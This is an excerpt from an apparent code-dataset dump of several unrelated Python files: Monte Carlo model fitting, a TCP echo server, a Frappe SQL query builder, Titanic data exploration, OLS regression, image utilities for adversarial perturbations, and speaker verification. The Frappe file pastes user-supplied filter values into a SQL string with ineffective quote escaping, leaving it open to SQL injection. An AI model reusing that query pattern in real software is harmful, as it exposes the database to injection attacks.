Number of states or stimuli\n rewards = td['reward']\n actions = td['A_chosen']\n K = np.prod(np.arange(numberOfActions+1)[-numberOfStimuli:]) # Number of possible Task Sets\n numberOfTrials = len(stimuli) # Number of Trials\n\n # verification\n if K==2:\n if latin_hyp_sampling == False:\n raise ValueError('Why did you change the latin_hyp_sampling? By default, it is True and has no influence when K=2.')\n\n # Sampling and prior settings\n betaPrior = np.array([1, 1]) # Prior on Beta, the feedback noise parameter\n tauPrior = np.array([1, 1])\n gammaPrior = np.ones(K) # Prior on Gamma, the Dirichlet parameter\n log_proba = 0.\n log_proba_ = 0.\n # Mapping from task set to correct action per stimulus\n mapping = get_mapping.Get_TaskSet_Stimulus_Mapping(state_num=numberOfStimuli, action_num=numberOfActions).T\n\n betaWeights = np.zeros(numberOfBetaSamples)\n betaLog = np.zeros(numberOfBetaSamples)\n logbetaWeights = np.zeros(numberOfBetaSamples)\n betaAncestors = np.arange(numberOfBetaSamples)\n\n # Probabilities of every actions updated at every time step -> Used to take the decision\n actionLikelihood = np.zeros([numberOfBetaSamples, numberOfActions])\n sum_actionLik = np.zeros(numberOfBetaSamples)\n filt_actionLkd = np.zeros([numberOfTrials, numberOfBetaSamples, numberOfActions])\n\n # Keep track of probability correct/exploration after switches\n tsProbability = np.zeros([numberOfBetaSamples, K])\n sum_tsProbability = np.zeros(numberOfBetaSamples)\n dirichletParamCandidates = np.zeros(K)\n \n # SMC particles initialisation\n muSamples = np.zeros([numberOfBetaSamples, numberOfThetaSamples]) #np.random.beta(betaPrior[0], betaPrior[1], [numberOfBetaSamples, numberOfThetaSamples])\n gammaSamples = np.zeros([numberOfBetaSamples, numberOfThetaSamples, K])\n tauSamples = np.zeros([numberOfBetaSamples, numberOfThetaSamples]) \n\n if K==24:\n try:\n latin_hyp_samples = pickle.load(open('../../utils/sobol_200_26.pkl','rb'))\n except:\n latin_hyp_samples = pickle.load(open('../../models/utils/sobol_200_26.pkl','rb'))\n for beta_idx in range(numberOfBetaSamples):\n if latin_hyp_sampling:\n latin_hyp_samples = mcerp.lhd(dist = d0, size = numberOfThetaSamples, dims= K + 2)\n muSamples[beta_idx] = betalib.ppf(latin_hyp_samples[:,0], betaPrior[0], betaPrior[1])\n tauSamples[beta_idx] = betalib.ppf(latin_hyp_samples[:,1], tauPrior[0], tauPrior[1])\n gammaSamples[beta_idx] = gammalib.ppf(latin_hyp_samples[:,2:], gammaPrior)\n gammaSamples[beta_idx] = np.transpose(gammaSamples[beta_idx].T/np.sum(gammaSamples[beta_idx], axis=1))\n elif K==2:\n muSamples = np.random.beta(betaPrior[0], betaPrior[1], [numberOfBetaSamples, numberOfThetaSamples])\n tauSamples = np.random.beta(tauPrior[0], tauPrior[1], [numberOfBetaSamples, numberOfThetaSamples])\n gammaSamples = np.random.dirichlet(gammaPrior, [numberOfBetaSamples, numberOfThetaSamples])\n else:\n raise IndexError('Wrong number of task sets') \n\n logThetaWeights = np.zeros([numberOfBetaSamples, numberOfThetaSamples])\n currentSamples = np.zeros([numberOfBetaSamples, numberOfThetaSamples, numberOfStateSamples], dtype=np.intc)\n ancestorSamples = np.zeros([numberOfBetaSamples, numberOfThetaSamples, numberOfStateSamples], dtype=np.intc)\n weightsList = np.ones([numberOfThetaSamples, numberOfStateSamples])/numberOfStateSamples\n \n log_proba_corr = 0.\n ancestorsIndexes = np.zeros(numberOfStateSamples, dtype=np.intc)\n gammaAdaptedProba = np.zeros(K)\n likelihoods = np.zeros(K)\n positiveStates = np.zeros(K, dtype=np.intc)\n\n # Guided SMC variables\n muSamplesNew = np.zeros([numberOfBetaSamples, numberOfThetaSamples])\n tauSamplesNew = np.zeros([numberOfBetaSamples, numberOfThetaSamples])\n gammaSamplesNew = np.zeros([numberOfBetaSamples, numberOfThetaSamples, K])\n logThetaWeightsNew = np.zeros([numberOfBetaSamples, numberOfThetaSamples])\n normalisedThetaWeights = np.zeros([numberOfBetaSamples, numberOfThetaSamples])\n\n\n # Loop over trials\n for T in range(numberOfTrials):\n\n # Print progress\n if (T+1) % 10 == 0 : sys.stdout.write(' ' + str(T+1)); sys.stdout.flush()\n if (T+1) % 100 == 0: print ('\\n')\n\n for beta_idx in range(numberOfBetaSamples):\n\n ances = betaAncestors[beta_idx]\n\n smc_c.bootstrapUpdateStep_c(currentSamples[beta_idx], logThetaWeights[beta_idx], gammaSamples[ances], muSamples[ances]/2. + 1./2, tauSamples[ances]/2., T, ancestorSamples[ances], weightsList, \\\n np.ascontiguousarray(mapping), stimuli[T-1], actions[T-1], rewards[T-1], ancestorsIndexes, gammaAdaptedProba, likelihoods, positiveStates, 0)\n\n # Move step\n normalisedThetaWeights[beta_idx] = useful_functions.to_normalized_weights(logThetaWeights[beta_idx])\n ess = 1./np.sum(normalisedThetaWeights[beta_idx]**2)\n\n if (ess < coefficient * numberOfThetaSamples):\n acceptanceProba = 0.\n tauMu = np.sum(normalisedThetaWeights[beta_idx] * tauSamples[ances])\n tauVar = np.sum(normalisedThetaWeights[beta_idx] * (tauSamples[ances] - tauMu)**2)\n tauAlpha = ((1 - tauMu)/tauVar - 1/tauMu) * tauMu**2\n tauBeta = tauAlpha * (1/tauMu - 1)\n assert(tauAlpha > 0); assert(tauBeta > 0)\n betaMu = np.sum(normalisedThetaWeights[beta_idx]*muSamples[ances])\n betaVar = np.sum(normalisedThetaWeights[beta_idx] * (muSamples[ances] - betaMu)**2)\n betaAlpha = ((1 - betaMu)/betaVar - 1/betaMu) * betaMu**2\n betaBeta = betaAlpha * (1/betaMu - 1)\n assert(betaAlpha > 0); assert(betaBeta > 0)\n dirichletMeans = np.sum(normalisedThetaWeights[beta_idx]*gammaSamples[ances].T, axis=1)\n dirichletVar = np.sum(normalisedThetaWeights[beta_idx]*(gammaSamples[ances]**2).T, axis=1) - dirichletMeans**2\n dirichletPrecision = np.sum(dirichletMeans - dirichletMeans**2)/(np.sum(dirichletVar)) - 1\n dirichletParamCandidates[:] = np.maximum(dirichletMeans * dirichletPrecision, 1.)\n assert((dirichletParamCandidates>0).all())\n\n if K==2:\n tauSamplesNew[beta_idx] = np.random.beta(tauAlpha, tauBeta, numberOfThetaSamples)\n muSamplesNew[beta_idx] = np.random.beta(betaAlpha, betaBeta, numberOfThetaSamples)\n gammaSamplesNew[beta_idx] = np.random.dirichlet(dirichletParamCandidates, numberOfThetaSamples)\n elif K==24:\n if latin_hyp_sampling:\n latin_hyp_samples = mcerp.lhd(dist = d0, size = numberOfThetaSamples, dims= K + 2)\n muSamplesNew[beta_idx] = betalib.ppf(latin_hyp_samples[:,0], betaAlpha, betaBeta)\n tauSamplesNew[beta_idx] = betalib.ppf(latin_hyp_samples[:,1], tauAlpha, tauBeta)\n gammaSamplesNew[beta_idx] = gammalib.ppf(latin_hyp_samples[:,2:], dirichletParamCandidates)\n gammaSamplesNew[beta_idx] = np.transpose(gammaSamplesNew[beta_idx].T/np.sum(gammaSamplesNew[beta_idx], axis=1)) \n\n logThetaWeightsNew[beta_idx] = 0.\n normalisedThetaWeights[beta_idx] = 1./numberOfThetaSamples\n else:\n tauSamplesNew[beta_idx] = tauSamples[ances]\n muSamplesNew[beta_idx] = muSamples[ances]\n gammaSamplesNew[beta_idx] = gammaSamples[ances]\n logThetaWeightsNew[beta_idx] = logThetaWeights[beta_idx]\n \n\n # task set probability\n sum_tsProbability[:] = 0.\n for ts_idx in range(K):\n tsProbability[:, ts_idx] = np.sum(normalisedThetaWeights * np.sum((currentSamples == ts_idx), axis = 2), axis=1)\n sum_tsProbability += tsProbability[:,ts_idx]\n\n tsProbability[:] = np.transpose(tsProbability.T/sum_tsProbability)\n\n # Compute action likelihood\n sum_actionLik[:] = 0.\n for action_idx in range(numberOfActions):\n actionLikelihood[:, action_idx] = np.exp(np.log(np.sum(tsProbability[:,mapping[stimuli[T].astype(int)] == action_idx], axis=1)) * beta_softmax)\n sum_actionLik += actionLikelihood[:, action_idx]\n\n rewards[T] = td['reward'][T]\n actions[T] = td['A_chosen'][T]\n\n actionLikelihood[:] = np.transpose(actionLikelihood.T/sum_actionLik)\n betaWeights[:] = actionLikelihood[:,actions[T].astype(int)]\n \n filt_actionLkd[T] = actionLikelihood\n\n log_proba_ += np.log(sum(betaWeights)/numberOfBetaSamples)\n betaWeights = betaWeights/sum(betaWeights)\n\n betaAncestors[:] = useful_functions.stratified_resampling(betaWeights)\n\n # update particles\n muSamples[:] = muSamplesNew\n gammaSamples[:] = gammaSamplesNew\n tauSamples[:] = tauSamplesNew\n logThetaWeights[:] = logThetaWeightsNew[betaAncestors]\n ancestorSamples[:] = currentSamples\n\n elapsed_time = time.time() - start_time_multi\n\n return log_proba_, filt_actionLkd\n\n\n\n\n\n\n\n\n\n","repo_name":"csmfindling/learning_variability_and_volatility","sub_path":"fit_functions/cstvol_forward/bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":11571,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"36882987133","text":"from socket import *\nserverport=12000\nserversocket=socket(AF_INET,SOCK_STREAM)\nserversocket.bind(('',serverport))\nserversocket.listen(1)\nprint('sucess')\nwhile True:\n connectionsocket,addr=serversocket.accept()\n sentence=connectionsocket.recv(1024).decode()\n connectionsocket.send(sentence.upper().encode())\n connectionsocket.close()","repo_name":"hit-fushibo/HitLearning","sub_path":"Learning/Computer_Network/code/TCPserver.py","file_name":"TCPserver.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"38723234886","text":"from __future__ import unicode_literals\nimport frappe\nfrom frappe.model.document import Document\n\n\nclass OutwardSamplePrint(Document):\n\t@frappe.whitelist()\n\tdef get_samples(self):\n\t\twhere_clause = ''\n\t\twhere_clause += self.date and \" and date = '%s' \" % self.date or ''\n\t\twhere_clause += self.product_name and \" and product_name = '%s' \" %\\\n\t\t self.product_name.replace(\"'\",\"\\'\") or ''\n\t\twhere_clause += self.party and \" and party = '%s' \" %\\\n\t\t self.party.replace(\"'\",\"\\'\") or ''\n\t\twhere_clause += self.destination and \" and destination = '%s' \" %\\\n\t\t self.destination.replace(\"'\",\"\\'\") or ''\n\t\t\n\t\tdata = frappe.db.sql(\"\"\"\n\t\t\tSELECT\n\t\t\t\tname\n\t\t\tFROM\n\t\t\t\t`tabOutward Sample`\n\t\t\tWHERE\n\t\t\t\tdocstatus < 2\n\t\t\t\t%s \"\"\"%where_clause, as_dict=1)\n\n\t\tself.set(\"items\", [])\n\t\tif data:\n\t\t\tfor row in data:\n\t\t\t\tself.append(\"items\",{\n\t\t\t\t\t\t'outward_sample': row['name']\n\t\t\t\t\t})","repo_name":"finbyz/roopdyes","sub_path":"roopdyes/roopdyes/doctype/outward_sample_print/outward_sample_print.py","file_name":"outward_sample_print.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26859917846","text":"# encoding=utf-8\n\nimport pandas as pd\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nsns.set(style='white', context='notebook', palette='deep')\n\nif __name__ == '__main__':\n\n # load data\n train = pd.read_csv('./data/train.csv', header=0)\n test = pd.read_csv('./data/test.csv', header=0)\n # joining train and test set\n dataset = pd.concat([train, test]).reset_index(drop=True)\n\n # check for null and missing values\n dataset = dataset.fillna(np.nan)\n # print(dataset.isnull().sum())\n # print(train.info())\n # print(train.isnull().sum())\n # print(train.head())\n # print(train.dtypes)\n # print(train.describe())\n\n '''\n Numerical values\n '''\n # Correlation matrix between numerical values (SibSp Parch Age Pclass and Fare values) and Survived\n g = sns.heatmap(train[[\"Survived\", \"SibSp\", \"Parch\", \"Pclass\",\"Age\", \"Fare\"]].corr(), annot=True, fmt=\".2f\", cmap=\"coolwarm\")\n\n # Explore SibSp feature vs Survived\n g = sns.factorplot(x=\"SibSp\", y=\"Survived\", data=train, kind=\"bar\", size=6, palette=\"muted\")\n g.despine(left=True) # 去掉图表中的轴\n g = g.set_ylabels(\"survival probability\")\n\n # Explore Parch feature vs Survived\n g = sns.factorplot(x=\"Parch\", y=\"Survived\", data=train, kind=\"bar\", size=6, palette=\"muted\")\n g.despine(left=True) # 去掉图表中的轴\n g = g.set_ylabels(\"survival probability\")\n\n # Explore Pclass feature vs Survived\n g = sns.factorplot(x=\"Pclass\", y=\"Survived\", data=train, kind=\"bar\", size=6, palette=\"muted\")\n g.despine(left=True) # 去掉图表中的轴\n g = g.set_ylabels(\"survival probability\")\n\n # Explore Age vs Survived\n g = sns.FacetGrid(train, col='Survived')\n g = g.map(sns.distplot, \"Age\")\n # Explore Age distibution\n g = sns.kdeplot(train[\"Age\"][(train[\"Survived\"] == 0) & (train[\"Age\"].notnull())], color=\"Red\", shade=True)\n g = sns.kdeplot(train[\"Age\"][(train[\"Survived\"] == 1) & (train[\"Age\"].notnull())], ax=g, color=\"Blue\", shade=True)\n g.set_xlabel(\"Age\")\n g.set_ylabel(\"Frequency\")\n g = g.legend([\"Not Survived\", \"Survived\"])\n\n # Explore Fare vs Survived\n train[\"Fare\"] = train[\"Fare\"].map(lambda i: np.log(i) if i > 0 else 0) # Apply log to Fare to reduce skewness distribution(偏态分布)\n g = sns.distplot(train[\"Fare\"], color=\"b\", label=\"Skewness : %.2f\" % (train[\"Fare\"].skew()))\n g = g.legend(loc=\"best\")\n\n\n '''\n Categorical values\n '''\n # sex\n g = sns.barplot(x=\"Sex\", y=\"Survived\", data=train)\n g = g.set_ylabel(\"Survival Probability\")\n\n # Embarked\n g = sns.factorplot(x=\"Embarked\", y=\"Survived\", data=train, kind=\"bar\", size=6, palette=\"muted\")\n g.despine(left=True) # 去掉图表中的轴\n g = g.set_ylabels(\"survival probability\")\n\n # Explore Pclass vs Embarked\n g = sns.factorplot(\"Pclass\", col=\"Embarked\", data=train, size=6, kind=\"count\", palette=\"muted\")\n g.despine(left=True)\n g = g.set_ylabels(\"Count\")\n\n plt.show()","repo_name":"fuqiuai/kaggle-Titanic","sub_path":"feature-analysis.py","file_name":"feature-analysis.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10635382000","text":"from collections import OrderedDict\nimport numpy as np\nimport pandas as pd\nfrom differential.regression._model import RegressionModel\nfrom differential.util import _type_cast_to_float\n\nfrom statsmodels.iolib.summary2 import Summary\nfrom statsmodels.sandbox.tools.cross_val import LeaveOneOut\nfrom patsy import dmatrix\nfrom scipy import stats\n\n\ndef ols(formula, table, metadata):\n \"\"\" Ordinary Least Squares.\n\n An ordinary least squares (OLS) regression is a method for estimating\n parameters in a linear regression model. OLS is a common statistical\n technique for fitting and testing the effects of covariates on a response.\n This implementation is focused on performing a multivariate response\n regression where the response is a matrix of balances (`table`) and the\n covariates (`metadata`) are made up of external variables.\n\n Global statistical tests indicating goodness of fit and contributions\n from covariates can be accessed from a coefficient of determination (`r2`),\n leave-one-variable-out cross validation (`lovo`), leave-one-out\n cross validation (`loo`) and k-fold cross validation (`kfold`).\n In addition residuals (`residuals`) can be accessed for diagnostic\n purposes.\n\n T-statistics (`tvalues`) and p-values (`pvalues`) can be obtained to\n investigate to evaluate statistical significance for a covariate for a\n given balance. Predictions on the resulting model can be made using\n (`predict`), and these results can be interpreted as either balances or\n proportions.\n\n Parameters\n ----------\n formula : str\n Formula representing the statistical equation to be evaluated.\n These strings are similar to how equations are handled in R and\n statsmodels. Note that the dependent variable in this string should\n not be specified, since this method will be run on each of the\n individual balances. See `patsy` for more details.\n table : pd.DataFrame\n Contingency table where samples correspond to rows and\n balances correspond to columns.\n metadata: pd.DataFrame\n Metadata table that contains information about the samples contained\n in the `table` object. Samples correspond to rows and covariates\n correspond to columns.\n\n Returns\n -------\n OLSModel\n Container object that holds information about the overall fit.\n This includes information about coefficients, pvalues, residuals\n and coefficient of determination from the resulting regression.\n\n Example\n -------\n >>> import numpy as np\n >>> import pandas as pd\n >>> from skbio import TreeNode\n >>> from differential.regression import ols\n\n Here, we will define a table of balances as follows\n\n >>> np.random.seed(0)\n >>> n = 100\n >>> g1 = np.linspace(0, 15, n)\n >>> y1 = g1 + 5\n >>> y2 = -g1 - 2\n >>> Y = pd.DataFrame({'y1': y1, 'y2': y2})\n\n Once we have the balances defined, we will add some errors\n\n >>> e = np.random.normal(loc=1, scale=0.1, size=(n, 2))\n >>> Y = Y + e\n\n Now we will define the environment variables that we want to\n regress against the balances.\n\n >>> X = pd.DataFrame({'g1': g1})\n\n Once these variables are defined, a regression can be performed.\n These proportions will be converted to balances according to the\n tree specified. And the regression formula is specified to run\n `temp` and `ph` against the proportions in a single model.\n\n >>> res = ols('g1', Y, X)\n >>> res.fit()\n\n From the summary results of the `ols` function, we can view the\n pvalues according to how well each individual balance fitted in the\n regression model.\n\n >>> res.pvalues\n y1 y2\n Intercept 8.826379e-148 7.842085e-71\n g1 1.923597e-163 1.277152e-163\n\n We can also view the balance coefficients estimated in the regression\n model. These coefficients can also be viewed as proportions by passing\n `project=True` as an argument in `res.coefficients()`.\n\n >>> res.coefficients()\n y1 y2\n Intercept 6.016459 -0.983476\n g1 0.997793 -1.000299\n\n The overall model fit can be obtained as follows\n\n >>> res.r2\n 0.99945903186495066\n\n \"\"\"\n\n # one-time creation of exogenous data matrix allows for faster run-time\n metadata = _type_cast_to_float(metadata.copy())\n x = dmatrix(formula, metadata, return_type='dataframe')\n ilr_table, x = table.align(x, join='inner', axis=0)\n return OLSModel(Y=ilr_table, Xs=x)\n\n\nclass OLSModel(RegressionModel):\n \"\"\" Summary object for storing ordinary least squares results.\n\n A `OLSModel` object stores information about the\n individual balances used in the regression, the coefficients,\n residuals. This object can be used to perform predictions.\n In addition, summary statistics such as the coefficient\n of determination for the overall fit can be calculated.\n\n\n Attributes\n ----------\n submodels : list of statsmodels objects\n List of statsmodels result objects.\n balances : pd.DataFrame\n A table of balances where samples are rows and\n balances are columns. These balances were calculated\n using `tree`.\n \"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def fit(self, **kwargs):\n \"\"\" Fit the ordinary least squares model.\n\n Here, the coefficients of the model are estimated.\n In addition, there are additional summary statistics\n that are being calculated, such as residuals, t-statistics,\n pvalues and coefficient of determination.\n\n\n Parameters\n ----------\n **kwargs : dict\n Keyword arguments used to tune the parameter estimation.\n \"\"\"\n Y = self.response_matrix\n X = self.design_matrices\n\n n, p = X.shape\n inv = np.linalg.pinv(np.dot(X.T, X))\n cross = np.dot(inv, X.T)\n beta = np.dot(cross, Y)\n pX = np.dot(X, beta)\n resid = (Y - pX)\n sst = (Y - Y.mean(axis=0))\n sse = (resid**2).sum(axis=0)\n\n sst_balance = ((Y - Y.mean(axis=0))**2).sum(axis=0)\n\n sse_balance = (resid**2).sum(axis=0)\n ssr_balance = (sst_balance - sse_balance)\n\n df_resid = n - p + 1\n mse = sse / df_resid\n self._mse = mse\n # t tests\n cov = np.linalg.pinv(np.dot(X.T, X))\n bse = np.sqrt(np.outer(np.diag(cov), mse))\n tvalues = np.divide(beta, bse)\n pvals = stats.t.sf(np.abs(tvalues), df_resid) * 2\n self._tvalues = pd.DataFrame(tvalues, index=X.columns,\n columns=Y.columns)\n self._pvalues = pd.DataFrame(pvals, index=X.columns,\n columns=Y.columns)\n self._beta = pd.DataFrame(beta, index=X.columns,\n columns=Y.columns)\n self._resid = pd.DataFrame(resid, index=Y.index,\n columns=Y.columns)\n self._fitted = True\n self._ess = ssr_balance\n self._r2 = 1 - ((resid**2).values.sum() / (sst**2).values.sum())\n\n @property\n def pvalues(self):\n \"\"\" Return pvalues from each of the coefficients in the fit. \"\"\"\n return self._pvalues\n\n @property\n def tvalues(self):\n \"\"\" Return t-statistics from each of the coefficients in the fit. \"\"\"\n return self._tvalues\n\n @property\n def r2(self):\n \"\"\" Coefficient of determination for overall fit\"\"\"\n return self._r2\n\n @property\n def mse(self):\n \"\"\" Mean Sum of squares Error\"\"\"\n return self._mse\n\n @property\n def ess(self):\n \"\"\" Explained Sum of squares\"\"\"\n return self._ess\n","repo_name":"mortonjt/differential","sub_path":"differential/regression/_ols.py","file_name":"_ols.py","file_ext":"py","file_size_in_byte":7773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23340725513","text":"import PIL.Image\nimport numpy as np\nimport torch\nfrom . import label\n\n\nfull_to_train = {\n -1: 19, 0: 19, 1: 0, 2: 19, 3: 19, 4: 19, 5: 19, 6: 19,\n 7: 0, 8: 1, 9: 19, 10: 19, 11: 2, 12: 3, 13: 4, 14: 19,\n 15: 19, 16: 19, 17: 5, 18: 19, 19: 6, 20: 7, 21: 8, 22: 9,\n 23: 10, 24: 11, 25: 12, 26: 13, 27: 14, 28: 15, 29: 19,\n 30: 19, 31: 16, 32: 17, 33: 18\n}\ntrain_to_full = {\n 0: 7, 1: 8, 2: 11, 3: 12, 4: 13, 5: 17, 6: 19, 7: 20, 8: 21, 9: 22,\n 10: 23, 11: 24, 12: 25, 13: 26, 14: 27, 15: 28, 16: 31, 17: 32, 18: 33,\n 19: 0\n}\n\ntrainId2color = {label.trainId: label.color for label in label.labels}\n\ndef color_map(N=256, normalized=False):\n def bitget(byteval, idx):\n return ((byteval & (1 << idx)) != 0)\n\n dtype = 'float32' if normalized else 'uint8'\n cmap = np.zeros((N, 3), dtype=dtype)\n for i in range(N):\n r = g = b = 0\n c = i\n for j in range(8):\n r = r | (bitget(c, 0) << 7-j)\n g = g | (bitget(c, 1) << 7-j)\n b = b | (bitget(c, 2) << 7-j)\n c = c >> 3\n\n cmap[i] = np.array([r, g, b])\n\n cmap = cmap/255 if normalized else cmap\n return cmap\n\n\ncmap = color_map()\n\n\ndef myfunc(a):\n # print(a)\n if a in full_to_train:\n return full_to_train[a]\n else:\n 19\n\n\ndef process_img_file(img_file):\n img = PIL.Image.open(img_file)\n img = np.array(img, dtype=np.uint8)\n return img\n\n\ndef process_lbl_file(lbl_file):\n lbl = PIL.Image.open(lbl_file)\n lbl = np.array(lbl, dtype=np.int32)\n\n w, h = lbl.shape\n lbl = lbl.reshape(-1)\n vfunc = np.vectorize(myfunc)\n lbl = vfunc(lbl).reshape(w, h)\n return lbl\n\ndef mapping_func(lbl, n_class):\n # print(lbl)\n if lbl >= 0 and lbl < n_class:\n return mapping_global[lbl]\n\n\ndef do_mapping(lbl, mapping, n_class):\n lbl = lbl.numpy()\n global mapping_global\n mapping_global = mapping\n _, w, h = lbl.shape\n lbl = lbl.reshape(-1)\n vfunc = np.vectorize(mapping_func)\n lbl = vfunc(lbl, n_class).reshape(1, w, h)\n return torch.from_numpy(lbl).long()\n\n\ndef to_tensor(img, lbl):\n img_tensor = None\n lbl_tensor = None\n\n if img is not None:\n img = img[:, :, ::-1] # RGB -> BGR\n img = img.astype(np.float64)\n img = img.transpose(2, 0, 1)\n img_tensor = torch.from_numpy(img).float()\n if lbl is not None:\n lbl_tensor = torch.from_numpy(lbl).long()\n return img_tensor, lbl_tensor\n\n\ndef to_numpy(img, lbl):\n img = img.numpy()\n img = img.transpose(1, 2, 0)\n img = img.astype(np.uint8)\n img = img[:, :, ::-1]\n\n if lbl is not None:\n lbl = lbl.numpy()\n return img, lbl\n else:\n return img\n\n\ndef transform(img, lbl, mode, dataset, optional=-1.0):\n if mode == 1:\n img = img.div_(128.0).add_(optional)\n elif mode == 2:\n if dataset == 'cityscapes':\n img[0] = img[0].add(-72.78044)\n img[1] = img[1].add(-83.21195)\n img[2] = img[2].add(-73.45286)\n\n elif dataset == 'pascalvoc':\n img[0].add(-104.00698793)\n img[1].add(-116.66876762)\n img[2].add(-122.67891434)\n\n if lbl is not None:\n return img, lbl\n else:\n return img\n\n\ndef untransform(img, lbl, mode, dataset):\n if mode == 1:\n img = img.add_(1.0).mul_(128.0)\n img = torch.clamp(img, 0, 255)\n elif mode == 2:\n if dataset == 'cityscapes':\n img[0] = img[0].add(-72.78044)\n img[1] = img[1].add(-83.21195)\n img[2] = img[2].add(-73.45286)\n elif dataset == 'pascalvoc':\n img[0].add(104.00698793)\n img[1].add(116.66876762)\n img[2].add(122.67891434)\n\n if lbl is not None:\n return img, lbl\n else:\n return img\n\n\ndef inf_norm_adjust(img, eps):\n for i in range(img.size()[0]):\n # for loop for RGB\n for col in range(3):\n inf_norm = img[i].data[col].abs().max()\n coef = min(1.0, eps / inf_norm)\n img[i].data[col] *= coef\n return img\n\n\ndef l2_loss(tensor):\n crt = torch.nn.MSELoss().cuda()\n base = torch.FloatTensor(tensor.size()).zero_()\n base = torch.autograd.Variable(base, requires_grad=False).cuda()\n loss = crt(tensor, base)\n loss = loss * 3\n loss = torch.sqrt(loss)\n return loss\n\n\ndef l2_norm_adjust(delta, eps):\n norm = l2_loss(delta).data[0]\n delta.data *= min(1.0, eps / norm)\n return delta\n\n\ndef transform_pred_res(pred, dataset):\n if dataset == 'cityscapes':\n h, w = pred.shape\n data = np.zeros((h, w, 3), dtype=np.float32)\n\n for i in range(h):\n for j in range(w):\n trainId = pred[i][j]\n if trainId == 19:\n trainId = 255\n data[i][j] = trainId2color[trainId]\n data = data.transpose(2, 0, 1)\n data = torch.FloatTensor(data)\n return data\n elif dataset == 'pascalvoc':\n h, w = pred.shape\n data = np.zeros((h, w, 3), dtype=np.float32)\n\n for i in range(h):\n for j in range(w):\n trainId = pred[i][j]\n data[i][j] = cmap[trainId]\n data = data.transpose(2, 0, 1)\n data = torch.FloatTensor(data)\n return data\n\n\ndef save_img(np_img, fp):\n img = PIL.Image.fromarray(np_img)\n img.save(fp, format='PNG')\n\n\ndef save_transform(img):\n img = img.numpy()\n img = img.astype(np.uint8)\n img = img[::-1, :, :]\n\n return img\n","repo_name":"OmidPoursaeed/Generative_Adversarial_Perturbations","sub_path":"material/utils/image_transform.py","file_name":"image_transform.py","file_ext":"py","file_size_in_byte":5477,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"62"} +{"seq_id":"9193770557","text":"import os\r\nimport torch\r\nimport torchaudio\r\nfrom speechbrain.pretrained import SpeakerRecognition\r\n\r\n\r\nclass SpeakerVerification(SpeakerRecognition):\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.similarity = torch.nn.CosineSimilarity(dim=-1, eps=1e-6)\r\n\r\n @classmethod\r\n def from_hparams(cls, *args, **kwargs):\r\n verification = super(cls,cls).from_hparams(*args, **kwargs)\r\n source = kwargs['source']\r\n if os.path.exists(os.path.join(source, 'imposter_embeddings.pt')):\r\n verification.imp_emb = torch.load(os.path.join(source, 'imposter_embeddings.pt'), map_location='cuda' if torch.cuda.is_available() else 'cpu')\r\n \r\n return verification\r\n \r\n def compute_snorm(self, emb1, emb2):\r\n emb1 = emb1.squeeze(0)\r\n emb2 = emb2.squeeze(0)\r\n score_e1 = self.similarity(emb1, self.imp_emb)\r\n score_e2 = self.similarity(emb2, self.imp_emb)\r\n score_e1_e2 = self.similarity(emb1, emb2)\r\n score_e1_normed = (score_e1_e2 - score_e1.mean()) / score_e1.std()\r\n score_e2_normed = (score_e1_e2 - score_e2.mean()) / score_e2.std()\r\n return score_e1_normed + score_e2_normed\r\n \r\n @staticmethod\r\n def __segment_to_tensor(segment):\r\n segment = segment.set_frame_rate(16000)\r\n tensor = torch.Tensor(segment.get_array_of_samples())\r\n tensor = tensor.unsqueeze(dim=0)\r\n return tensor\r\n\r\n def embed_segment(self, segment, mean_norm=True, a_norm=True):\r\n batch = SpeakerVerification.__segment_to_tensor(segment)\r\n # Amplitude Norm\r\n if a_norm:\r\n batch = self.rms_normalize(batch)\r\n # Embed\r\n emb = self.encode_batch(batch, normalize=mean_norm)\r\n return emb\r\n \r\n def score_embeddings(self, emb1, emb2, threshold=10, snorm=True):\r\n # SNorm\r\n if snorm and hasattr(self, 'imp_emb'):\r\n score = self.compute_snorm(emb1, emb2)\r\n else:\r\n score = self.similarity(emb1, emb2)\r\n # Decision\r\n decision = score > threshold\r\n # Squeeze\r\n return score[0], decision[0]\r\n \r\n def peak_normalize(self, sig):\r\n return sig / sig.abs().max()\r\n \r\n def rms_normalize(self, sig, rms_level=0):\r\n \"\"\"\r\n Normalize the signal with rms technique.\r\n Args:\r\n - sig (torch.Tensor) : input signal\r\n - rms_level (int) : rms level in dB.\r\n \"\"\"\r\n # linear rms level and scaling factor\r\n r = 10**(rms_level / 10.0)\r\n a = torch.sqrt( (len(sig) * r**2) / torch.sum(sig**2) )\r\n\r\n # normalize\r\n return sig * a\r\n \r\n def verify_files(self, path_x, path_y, threshold=10, mean_norm=True, snorm=True, a_norm=True):\r\n \"\"\"Speaker verification with cosine distance\r\n Returns the score and the decision (0 different speakers,\r\n 1 same speakers).\r\n Returns\r\n -------\r\n score\r\n The score associated to the binary verification output\r\n (cosine distance).\r\n prediction\r\n The prediction is 1 if the two signals in input are from the same\r\n speaker and 0 otherwise.\r\n \"\"\"\r\n batch_x, _ = torchaudio.load(path_x)\r\n batch_y, _ = torchaudio.load(path_y)\r\n\r\n if a_norm:\r\n batch_x = self.rms_normalize(batch_x)\r\n batch_y = self.rms_normalize(batch_y)\r\n # Verify:\r\n emb1 = self.encode_batch(batch_x, normalize=mean_norm)\r\n emb2 = self.encode_batch(batch_y, normalize=mean_norm)\r\n # SNorm\r\n if snorm and hasattr(self, 'imp_emb'):\r\n score = self.compute_snorm(emb1, emb2)\r\n else:\r\n score = self.similarity(emb1, emb2)\r\n decision = score > threshold\r\n # Squeeze:\r\n return score[0], 